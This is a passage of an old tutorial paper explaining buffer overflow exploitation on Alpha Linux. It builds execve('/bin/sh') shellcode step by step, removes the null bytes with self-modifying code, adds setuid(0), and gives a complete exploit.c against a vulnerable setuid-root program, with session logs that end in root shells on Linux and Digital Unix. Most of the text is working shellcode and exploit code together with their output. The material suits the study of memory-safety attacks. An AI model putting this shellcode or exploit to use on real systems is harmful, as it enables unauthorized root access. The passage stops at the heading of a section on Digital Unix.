buffer overflow exploit in the alpha linux

-------------------------------------------------------------------------------

Buffer overflow exploit in the alpha linux

Written by Taeho Oh ( ohhara@postech.edu )

----------------------------------------------------------------------------

Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara

PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus

PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug

----------------------------------------------------------------------------

1. Introduction

There are many exploit code of buffer overflow. However, almost all codes

works well only in the intel x86 linux. This paper will attempt to explain

how you exploit same bug in the alpha linux.

2. What do you have to know before reading?

You have to know assembly language, C language, and Linux. Of course, you

have to know what buffer overflow is. You can get the information of the

buffer overflow in phrack 49-14 ( Smashing The Stack For Fun And Profit

by Aleph1 ). It is a wonderful paper of buffer overflow and I highly recommend

you to read that before reading this one.

3. The registers of alpha linux

You have to know how much registers alpha has to make a shellcode. :)

All registers have 64 bits.

Registers of alpha

----------------------------------------------------------------------------

$0 v0

$1 t0

$2 t1

$3 t2

$4 t3

$5 t4

$6 t5

$7 t6

$8 t7

$9 s0

$10 s1

$11 s2

$12 s3

$13 s4

$14 s5

$15 fp

$16 a0

$17 a1

$18 a2

$19 a3

$20 a4

$21 a5

$22 t8

$23 t9

$24 t10

$25 t11

$26 ra

$27 t12

$28 at

$29 gp

$30 sp

$31 zero

$32 pc

$33 vfp

----------------------------------------------------------------------------

4. Make a simple shellcode

Now, you will make a simple shellcode. You need not think about '\0'

character now. Because you can modify and remove '\0' character later.

shellcodeasm.c

----------------------------------------------------------------------------

#include<stdio.h>

main()

{

char *name[2];

name[0]="/bin/sh";

name[1]=NULL;

execve(name[0],name,NULL);

}

----------------------------------------------------------------------------

compile and disassemble

----------------------------------------------------------------------------

[ ohhara@ohhara ~ ] {1} $ gcc -o shellcodeasm -static shellcodeasm.c

[ ohhara@ohhara ~ ] {2} $ gdb shellcodeasm

GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "alpha-redhat-linux"...

(gdb) disassemble main

Dump of assembler code for function main:

0x1200001e8 <main>: ldah gp,18(t12)

0x1200001ec <main+4>: lda gp,30704(gp)

0x1200001f0 <main+8>: lda sp,-32(sp)

0x1200001f4 <main+12>: stq ra,0(sp)

0x1200001f8 <main+16>: stq fp,8(sp)

0x1200001fc <main+20>: mov sp,fp

0x120000200 <main+24>: ldq t0,-30952(gp)

0x120000204 <main+28>: stq t0,16(fp)

0x120000208 <main+32>: stq zero,24(fp)

0x12000020c <main+36>: ldq a0,16(fp)

0x120000210 <main+40>: addq fp,0x10,a1

0x120000214 <main+44>: clr a2

0x120000218 <main+48>: ldq t12,-32456(gp)

0x12000021c <main+52>: jsr ra,(t12),0x120007180 <__execve>

0x120000220 <main+56>: ldah gp,18(ra)

0x120000224 <main+60>: lda gp,30648(gp)

0x120000228 <main+64>: mov fp,sp

0x12000022c <main+68>: ldq ra,0(sp)

0x120000230 <main+72>: ldq fp,8(sp)

0x120000234 <main+76>: addq sp,0x20,sp

0x120000238 <main+80>: ret zero,(ra),0x1

End of assembler dump.

(gdb) disassemble execve

Dump of assembler code for function __execve:

0x120007180 <__execve>: lda v0,59(zero)

0x120007184 <__execve+4>: callsys

0x120007188 <__execve+8>: bne a3,0x120007190 <__execve+16>

0x12000718c <__execve+12>: ret zero,(ra),0x1

0x120007190 <__execve+16>: br gp,0x120007194 <__execve+20>

0x120007194 <__execve+20>: ldah gp,18(gp)

0x120007198 <__execve+24>: lda gp,2116(gp)

0x12000719c <__execve+28>: ldq t12,-31592(gp)

0x1200071a0 <__execve+32>:

jmp zero,(t12),0x120007738 <__syscall_error>

End of assembler dump.

(gdb)

----------------------------------------------------------------------------

Now, you can know the condition to execute the "/bin/sh".

To execute "/bin/sh"

----------------------------------------------------------------------------

a0($16) = The address of "/bin/sh\0"

a1($17) = The address of the address of "/bin/sh\0"

a2($18) = 0

v0($0) = 59

callsys

----------------------------------------------------------------------------

With this information, you can make a shellcode very easily.

testsc1.c

----------------------------------------------------------------------------

char shellcode[]=

"\x30\x15\xd9\x43" /* subq $30,200,$16 */

"\x31\x15\xd8\x43" /* subq $30,192,$17 */

"\x12\x04\xff\x47" /* clr $18 */

"\x40\xff\x1e\xb6" /* stq $16,-192($30) */

"\x48\xff\xfe\xb7" /* stq $31,-184($30) */

"\x68\x00\x7f\x26" /* ldah $19,0x0068($31) */

"\x2f\x73\x73\x22" /* lda $19,0x732f($19) */

"\x3c\xff\x7e\xb2" /* stl $19,-196($30) */

"\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */

"\x2f\x62\x73\x22" /* lda $19,0x622f($19) */

"\x38\xff\x7e\xb2" /* stl $19,-200($30) */

"\x3b\x00\x1f\x20" /* lda $0,59($31) */

"\x83\x00\x00\x00"; /* callsys */

typedef void (*F)();

main()

{

F fp;

fp=(F)(&shellcode);

fp();

}

----------------------------------------------------------------------------

You may be frightened at the code. Don't worry. There is a line by line

explanation. :)

testsc1.c shellcode line by line explanation

----------------------------------------------------------------------------

char shellcode[]=

"\x30\x15\xd9\x43" /* subq $30,200,$16 */

/* $16 = $30 - 200 */

/* $30 is stack pointer. To point "/bin/sh\0", */

/* shellcode needs free memory space. $30 - 200 may be */

/* free. :) "/bin/sh\0" character string will be stored */

/* in the $30 - 200 address. To execute "/bin/sh", $16 */

/* have to point to "/bin/sh\0" */

/* The 'q' of the 'subq' means 64 bit. */

"\x31\x15\xd8\x43" /* subq $30,192,$17 */

/* $17 = $30 - 192 */

/* To execute "/bin/sh", $17 have to point to the */

/* address of "/bin/sh\0". The address of "/bin/sh\0" */

/* will be stored in the $30 - 192 address. */

"\x12\x04\xff\x47" /* clr $18 */

/* Clear $18 register. To execute "/bin/sh" $18 */

/* register must be 0. */

"\x40\xff\x1e\xb6" /* stq $16,-192($30) */

/* Store the address of "/bin/sh\0" in the $30 - 192 */

/* address. */

"\x48\xff\xfe\xb7" /* stq $31,-184($30) */

/* Make 0 in the address of $30 - 184. */

"\x68\x00\x7f\x26" /* ldah $19,0x0068($31) */

/* $19 = 0x00680000 */

/* $31 is always 0 */

"\x2f\x73\x73\x22" /* lda $19,0x732f($19) */

/* $19 = 0x0068732f */

/* $19 = "/sh\0" */

/* Because alpha is little endian. */

"\x3c\xff\x7e\xb2" /* stl $19,-196($30) */

/* Store $19 in $30 - 196 address. */

/* $30 - 196 = "/sh\0" */

/* The 'l' of the 'stl' means 32 bit */

"\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */

/* $19 = 0x6e690000 */

"\x2f\x62\x73\x22" /* lda $19,0x622f($19) */

/* $19 = 0x6e69622f */

/* $19 = "/bin" */

"\x38\xff\x7e\xb2" /* stl $19,-200($30) */

/* Store $19 in $30 - 200 address. */

/* $30 - 200 = "/bin" */

"\x3b\x00\x1f\x20" /* lda $0,59($31) */

/* $0 = 59 */

/* To execute "/bin/sh" $0 must be 59 */

"\x83\x00\x00\x00"; /* callsys */

/* System call */

/* Execute "/bin/sh" */

----------------------------------------------------------------------------

compile and execute testsc1.c

----------------------------------------------------------------------------

[ ohhara@ohhara ~ ] {1} $ gcc testsc1.c -o testsc1

[ ohhara@ohhara ~ ] {2} $ ./testsc1

bash$

----------------------------------------------------------------------------

Now, you have a shellcode of alpha linux. However, you can't use it to exploit

the vulnerable programs. Because the shellcode has many '\0' characters.

You have to remove all of '\0' character to use buffer overflow exploit.

5. Try to remove '\0' character in the shellcode

You can remove '\0' characters by changing the instructions to other

instructions which works same.

remove '\0' character

----------------------------------------------------------------------------

from

"\x68\x00\x7f\x26" /* ldah $19,0x0068($31) */

"\x2f\x73\x73\x22" /* lda $19,0x732f($19) */

"\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */

"\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */

"\x13\x05\xf3\x47" /* ornot $31,$19,$19 */

----------------------------------------------------------------------------

One '\0' is removed.

----------------------------------------------------------------------------

from

"\x3b\x00\x1f\x20" /* lda $0,59($31) */

"\x13\x94\xe7\x43" /* addq $31,60,$19 */

"\x20\x35\x60\x42" /* subq $19,1,$0 */

----------------------------------------------------------------------------

Two '\0' are removed.

improved shellcode

----------------------------------------------------------------------------

char shellcode[]=

"\x30\x15\xd9\x43" /* subq $30,200,$16 */

"\x31\x15\xd8\x43" /* subq $30,192,$17 */

"\x12\x04\xff\x47" /* clr $18 */

"\x40\xff\x1e\xb6" /* stq $16,-192($30) */

"\x48\xff\xfe\xb7" /* stq $31,-184($30) */

"\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */

"\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */

"\x13\x05\xf3\x47" /* ornot $31,$19,$19 */

"\x3c\xff\x7e\xb2" /* stl $19,-196($30) */

"\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */

"\x2f\x62\x73\x22" /* lda $19,0x622f($19) */

"\x38\xff\x7e\xb2" /* stl $19,-200($30) */

"\x13\x94\xe7\x43" /* addq $31,60,$19 */

"\x20\x35\x60\x42" /* subq $19,1,$0 */

"\x83\x00\x00\x00"; /* callsys */

----------------------------------------------------------------------------

compile and execute testsc2.c

----------------------------------------------------------------------------

[ ohhara@ohhara ~ ] {1} $ gcc testsc2.c -o testsc2

[ ohhara@ohhara ~ ] {2} $ ./testsc2

bash$

----------------------------------------------------------------------------

You have only one instruction to remove, now. But it's difficult to remove.

Because callsys insturction must be used to execute "/bin/sh" and callsys

contains three '\0' characters. You have to insert the code which modifies the

shellcode itself to use callsys instruction.

6. Try to remove ALL '\0' character in the shellcode

You have to remove '\0' character of callsys instruction.

final shellcode

----------------------------------------------------------------------------

char shellcode[]=

"\x30\x15\xd9\x43" /* subq $30,200,$16 */

/* $16 = $30 - 200

/* $16 must have the shellcode address. However, before */

/* the bsr instruction, $16 can't have the address. */

/* This instruction just store the meaningless address. */

/* The all instruction before bsr are meaningless. */

"\x11\x74\xf0\x47" /* bis $31,0x83,$17 */

/* $17 = 0 or 0x83 */

/* $17 = 0x83 */

"\x12\x94\x07\x42" /* addq $16,60,$18 */

"\xfc\xff\x32\xb2" /* stl $17,-4($18) */

/* $17("\x83\x00\x00\x00") is stored in $16 + 60 - 4 */

/* address. */

/* ( "\xff\xff\xff\xff" -> "\x83\x00\x00\x00" ) */

"\xff\x47\x3f\x26" /* ldah $17,0x47ff($31) */

"\x1f\x04\x31\x22" /* lda $17,0x041f($17) */

/* $17 = "\x1f\x04\xff\x47" */

/* "\x1f\x04\xff\x47" is nop instruction. */

"\xfc\xff\x30\xb2" /* stl $17,-4($16) */

/* change "bsr $16,-28" instruction" into nop */

/* instruction to pass through the bsr instruction. */

/* ( "\xf9\xff\x1f\xd2" -> "\x1f\x04\xff\x47" ) */

"\xf9\xff\x1f\xd2" /* bsr $16,-28 */

/* Jump to "bis $31,0x83,$17" and store the current */

/* address in the $16. */

/* After jump, this insturction will be changed into */

/* nop instruction. */

"\x30\x15\xd9\x43" /* subq $30,200,$16 */

"\x31\x15\xd8\x43" /* subq $30,192,$17 */

"\x12\x04\xff\x47" /* clr $18 */

"\x40\xff\x1e\xb6" /* stq $16,-192($30) */

"\x48\xff\xfe\xb7" /* stq $31,-184($30) */

"\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */

"\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */

"\x13\x05\xf3\x47" /* ornot $31,$19,$19 */

"\x3c\xff\x7e\xb2" /* stl $19,-196($30) */

"\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */

"\x2f\x62\x73\x22" /* lda $19,0x622f($19) */

"\x38\xff\x7e\xb2" /* stl $19,-200($30) */

"\x13\x94\xe7\x43" /* addq $31,60,$19 */

"\x20\x35\x60\x42" /* subq $19,1,$0 */

"\xff\xff\xff\xff"; /* callsys ( disguised ) */

/* This will be changed to "\x83\x00\x00\x00" */

----------------------------------------------------------------------------

compile and execute testsc3.c

----------------------------------------------------------------------------

[ ohhara@ohhara ~ ] {1} $ gcc testsc3.c -o testsc3

[ ohhara@ohhara ~ ] {2} $ ./testsc3

bash$

----------------------------------------------------------------------------

7. Insert setuid(0) code in the shellcode.

You may not get the rootshell with your shellcode by overflowing the

vulnerable setuid root program. You have to insert setuid(0) code into the

shellcode.

setuidasm.c

----------------------------------------------------------------------------

main()

{

setuid(0);

}

----------------------------------------------------------------------------

compile and disassemble

----------------------------------------------------------------------------

[ ohhara@ohhara ~ ] {1} $ gcc -o setuidasm -static setuidasm.c

[ ohhara@ohhara ~ ] {2} $ gdb setuidasm

GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "alpha-redhat-linux"...

(gdb) disassemble main

Dump of assembler code for function main:

0x1200001e8 <main>: ldah gp,18(t12)

0x1200001ec <main+4>: lda gp,30696(gp)

0x1200001f0 <main+8>: lda sp,-16(sp)

0x1200001f4 <main+12>: stq ra,0(sp)

0x1200001f8 <main+16>: stq fp,8(sp)

0x1200001fc <main+20>: mov sp,fp

0x120000200 <main+24>: clr a0

0x120000204 <main+28>: ldq t12,-31056(gp)

0x120000208 <main+32>: jsr ra,(t12),0x120007180 <__setuid>

0x12000020c <main+36>: ldah gp,18(ra)

0x120000210 <main+40>: lda gp,30660(gp)

0x120000214 <main+44>: mov fp,sp

0x120000218 <main+48>: ldq ra,0(sp)

0x12000021c <main+52>: ldq fp,8(sp)

0x120000220 <main+56>: addq sp,0x10,sp

0x120000224 <main+60>: ret zero,(ra),0x1

End of assembler dump.

(gdb) disassemble setuid

Dump of assembler code for function __setuid:

0x120007180 <__setuid>: lda v0,23(zero)

0x120007184 <__setuid+4>: callsys

0x120007188 <__setuid+8>: bne a3,0x120007190 <__setuid+16>

0x12000718c <__setuid+12>: ret zero,(ra),0x1

0x120007190 <__setuid+16>: br gp,0x120007194 <__setuid+20>

0x120007194 <__setuid+20>: ldah gp,18(gp)

0x120007198 <__setuid+24>: lda gp,2108(gp)

0x12000719c <__setuid+28>: ldq t12,-31600(gp)

0x1200071a0 <__setuid+32>:

jmp zero,(t12),0x120007738 <__syscall_error>

End of assembler dump.

(gdb)

----------------------------------------------------------------------------

Now, you can know the condition to setuid(0).

To setuid(0)

----------------------------------------------------------------------------

a0($16) = 0

v0($0) = 23

callsys

----------------------------------------------------------------------------

This contains callsys instruction. So you have to remove '\0' of the setuid(0)

code, too.

testsc4.c

----------------------------------------------------------------------------

char shellcode[]=

"\x30\x15\xd9\x43" /* subq $30,200,$16 */

"\x11\x74\xf0\x47" /* bis $31,0x83,$17 */

"\x12\x14\x02\x42" /* addq $16,16,$18 */

"\xfc\xff\x32\xb2" /* stl $17,-4($18) */

"\x12\x94\x09\x42" /* addq $16,76,$18 */

"\xfc\xff\x32\xb2" /* stl $17,-4($18) */

"\xff\x47\x3f\x26" /* ldah $17,0x47ff($31) */

"\x1f\x04\x31\x22" /* lda $17,0x041f($17) */

"\xfc\xff\x30\xb2" /* stl $17,-4($16) */

"\xf7\xff\x1f\xd2" /* bsr $16,-32 */

"\x10\x04\xff\x47" /* clr $16 */

"\x11\x14\xe3\x43" /* addq $31,24,$17 */

"\x20\x35\x20\x42" /* subq $17,1,$0 */

"\xff\xff\xff\xff" /* callsys ( disguised ) */

"\x30\x15\xd9\x43" /* subq $30,200,$16 */

"\x31\x15\xd8\x43" /* subq $30,192,$17 */

"\x12\x04\xff\x47" /* clr $18 */

"\x40\xff\x1e\xb6" /* stq $16,-192($30) */

"\x48\xff\xfe\xb7" /* stq $31,-184($30) */

"\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */

"\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */

"\x13\x05\xf3\x47" /* ornot $31,$19,$19 */

"\x3c\xff\x7e\xb2" /* stl $19,-196($30) */

"\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */

"\x2f\x62\x73\x22" /* lda $19,0x622f($19) */

"\x38\xff\x7e\xb2" /* stl $19,-200($30) */

"\x13\x94\xe7\x43" /* addq $31,60,$19 */

"\x20\x35\x60\x42" /* subq $19,1,$0 */

"\xff\xff\xff\xff"; /* callsys ( disguised ) */

typedef void (*F)();

main()

{

F fp;

fp=(F)(&shellcode);

fp();

}

----------------------------------------------------------------------------

If you read this paper, you can recognize what testsc4.c do. :)

compile and execute testsc4.c

----------------------------------------------------------------------------

[ ohhara@ohhara ~ ] {1} $ gcc testsc4.c -o testsc4

[ ohhara@ohhara ~ ] {2} $ ./testsc4

bash$

----------------------------------------------------------------------------

8. Exploit a vulnerable setuid root program

You can exploit a classic vulnernable program in the alpha linux. This

is an example.

vulnerable.c

----------------------------------------------------------------------------

#include<stdio.h>

#include<string.h>

void vulfunc(char *buf)

{

char localbuf[1024];

strcpy(localbuf+1,buf);

}

main(int argc,char **argv)

{

if(argc>1)

vulfunc(argv[1]);

}

----------------------------------------------------------------------------

You can't change the return address of the vulfunc function. When you try

to overflow the localbuf of vulfunc, you can change the return address of

the main function. ( It's similar to the stack of the sparc. )

Because the localbuf is stored after the vulfunc return address. The intel

x86 is that localbuf is stored before the vulfunc return address.

Therefore, by overflowing localbuf in the intel x86, localbuf can change

the return address of vulfunc function. However, in the alpha, localbuf can't

change the return address of vulfunc function and can change the return address

of the main function.

To execute the instruction, the code must be well aligned. For example,

the instruction can be located in 0x120000000 and 0x120000004 and can't be

located in 0x120000001, 0x120000002, and 0x120000003. ( step by 4 )

The address of alpha is 64 bit. Almost all cases, the address of stack

is looks like 0x000000011fffff24. The address has many '\0' characters.

Therefore, you can't insert many return addresses in the buffer. You must

insert only one. So you must know the location of the return address exactly.

It's not difficult to find that. Because the location of the return address

is decided at the compile time.

exploit.c

----------------------------------------------------------------------------

#include<stdio.h>

#include<string.h>

#define OFFSET 0

#define ALIGN 3 /* 0, 1, 2, 3 */

#define RET_POSITION 1028 /* 0, 4, 8, 12, . . . */

#define NOP "\x1f\x04\xff\x47"

char shellcode[]=

"\x30\x15\xd9\x43" /* subq $30,200,$16 */

"\x11\x74\xf0\x47" /* bis $31,0x83,$17 */

"\x12\x14\x02\x42" /* addq $16,16,$18 */

"\xfc\xff\x32\xb2" /* stl $17,-4($18) */

"\x12\x94\x09\x42" /* addq $16,76,$18 */

"\xfc\xff\x32\xb2" /* stl $17,-4($18) */

"\xff\x47\x3f\x26" /* ldah $17,0x47ff($31) */

"\x1f\x04\x31\x22" /* lda $17,0x041f($17) */

"\xfc\xff\x30\xb2" /* stl $17,-4($16) */

"\xf7\xff\x1f\xd2" /* bsr $16,-32 */

"\x10\x04\xff\x47" /* clr $16 */

"\x11\x14\xe3\x43" /* addq $31,24,$17 */

"\x20\x35\x20\x42" /* subq $17,1,$0 */

"\xff\xff\xff\xff" /* callsys ( disguised ) */

"\x30\x15\xd9\x43" /* subq $30,200,$16 */

"\x31\x15\xd8\x43" /* subq $30,192,$17 */

"\x12\x04\xff\x47" /* clr $18 */

"\x40\xff\x1e\xb6" /* stq $16,-192($30) */

"\x48\xff\xfe\xb7" /* stq $31,-184($30) */

"\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */

"\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */

"\x13\x05\xf3\x47" /* ornot $31,$19,$19 */

"\x3c\xff\x7e\xb2" /* stl $19,-196($30) */

"\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */

"\x2f\x62\x73\x22" /* lda $19,0x622f($19) */

"\x38\xff\x7e\xb2" /* stl $19,-200($30) */

"\x13\x94\xe7\x43" /* addq $31,60,$19 */

"\x20\x35\x60\x42" /* subq $19,1,$0 */

"\xff\xff\xff\xff"; /* callsys ( disguised ) */

unsigned long get_sp(void)

{

__asm__("bis $31,$30,$0");

}

int main(int argc,char **argv)

{

char buff[RET_POSITION+8+ALIGN+1],*ptr;

char *nop;

int offset=OFFSET,bsize=RET_POSITION+8+ALIGN+1;

unsigned long sp,addr;

int i;

if(argc>1)

offset=atoi(argv[1]);

nop=NOP;

for(i=0;i<bsize;i++)

buff[i]='a';

for(i=0;i<bsize;i++)

buff[i+ALIGN]=nop[i%4];

sp=get_sp();

addr=sp-offset;

ptr=buff+bsize-strlen(shellcode)-8-1;

for(i=0;i<strlen(shellcode);i++)

*(ptr++)=shellcode[i];

buff[RET_POSITION+ALIGN]=(addr&0x00000000000000ff);

buff[RET_POSITION+ALIGN+1]=(addr&0x000000000000ff00)>>8;

buff[RET_POSITION+ALIGN+2]=(addr&0x0000000000ff0000)>>16;

buff[RET_POSITION+ALIGN+3]=(addr&0x00000000ff000000)>>24;

buff[RET_POSITION+ALIGN+4]=(addr&0x000000ff00000000)>>32;

buff[RET_POSITION+ALIGN+5]=(addr&0x0000ff0000000000)>>40;

buff[RET_POSITION+ALIGN+6]=(addr&0x00ff000000000000)>>48;

buff[RET_POSITION+ALIGN+7]=(addr&0xff00000000000000)>>56;

buff[bsize-1]='\0';

printf("Jump to 0x%016x\n",addr);

execl("./vulnerable","vulnerable",buff,NULL);

}

----------------------------------------------------------------------------

exploit the vulnerable program in the alpha linux

----------------------------------------------------------------------------

[ ohhara@ohhara ~ ] {1} $ uname -a

Linux ohhara.postech.ac.kr 2.0.35 #11 Mon Oct 19 22:58:15 EDT 1998 alpha unknown

[ ohhara@ohhara ~ ] {2} $ ls -l vulnerable

-rwsr-xr-x 1 root root 13906 Nov 13 14:55 vulnerable*

[ ohhara@ohhara ~ ] {3} $ ls -l exploit

-rwxrwxr-x 1 ohhara ohhara 15541 Nov 13 18:22 exploit*

[ ohhara@ohhara ~ ] {4} $ ./exploit

Jump to 0x000000001ffff6c8

Illegal instruction

[ ohhara@ohhara ~ ] {5} $ ./exploit 400

Jump to 0x000000001ffff530

bash# whoami

root

bash#

----------------------------------------------------------------------------

exploit the vulnerable program in the digital unix ( same source files )

----------------------------------------------------------------------------

[ ohhara@ohhara ~ ] {1} $ uname -a

OSF1 monsky.postech.ac.kr V4.0 464 alpha

[ ohhara@ohhara ~ ] {2} $ ls -l vulnerable

-rwsr-xr-x 1 root system 24576 Nov 13 20:31 vulnerable*

[ ohhara@ohhara ~ ] {3} $ ls -l exploit

-rwxr-xr-x 1 ohhara system 24576 Nov 13 20:31 exploit*

[ ohhara@ohhara ~ ] {4} $ ./exploit

Jump to 0x000000001ffff030

# whoami

root

----------------------------------------------------------------------------

the buffer overflow data

----------------------------------------------------------------------------

0 61 61 61 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f aaa...G...G...G.

16 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

32 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

48 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

64 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

80 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

96 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

112 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

128 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

144 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

160 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

176 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

192 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

208 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

224 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

240 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

256 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

272 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

288 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

304 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

320 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

336 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

352 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

368 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

384 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

400 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

416 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

432 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

448 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

464 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

480 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

496 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

512 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

528 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

544 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

560 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

576 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

592 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

608 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

624 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

640 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

656 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

672 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

688 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

704 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

720 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

736 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

752 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

768 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

784 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

800 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

816 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

832 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

848 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

864 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

880 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

896 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G.

912 04 ff 47 30 15 d9 43 11 74 f0 47 12 14 02 42 fc ..G0..C.t.G...B.

928 ff 32 b2 12 94 09 42 fc ff 32 b2 ff 47 3f 26 1f .2....B..2..G?&.

944 04 31 22 fc ff 30 b2 f7 ff 1f d2 10 04 ff 47 11 .1"..0........G.

960 14 e3 43 20 35 20 42 ff ff ff ff 30 15 d9 43 31 ..C 5 B....0..C1

976 15 d8 43 12 04 ff 47 40 ff 1e b6 48 ff fe b7 98 ..C...G@...H....

992 ff 7f 26 d0 8c 73 22 13 05 f3 47 3c ff 7e b2 69 ..&..s"...G<.~.i

1008 6e 7f 26 2f 62 73 22 38 ff 7e b2 13 94 e7 43 20 n.&/bs"8.~....C

1024 35 60 42 ff ff ff ff 30 f5 ff 1f 01 5`B....0....

0 ~ 2

The padding data. It's for alignment. 0, 1, 2, or 3 padding characters are

needed to align the instructions.

3 ~ 914

nop instructions.

915 ~ 1030

shellcode.

1031 ~ 1038

return address. 0x000000001ffff530 ( "\x30\xf5\xff\x1f\x01\x00\x00\x00" )

Don't worry about last three '\0' characters. Almost all cases the last

three characters are '\0'.

----------------------------------------------------------------------------

9. Buffer overflow exploit in the digital unix

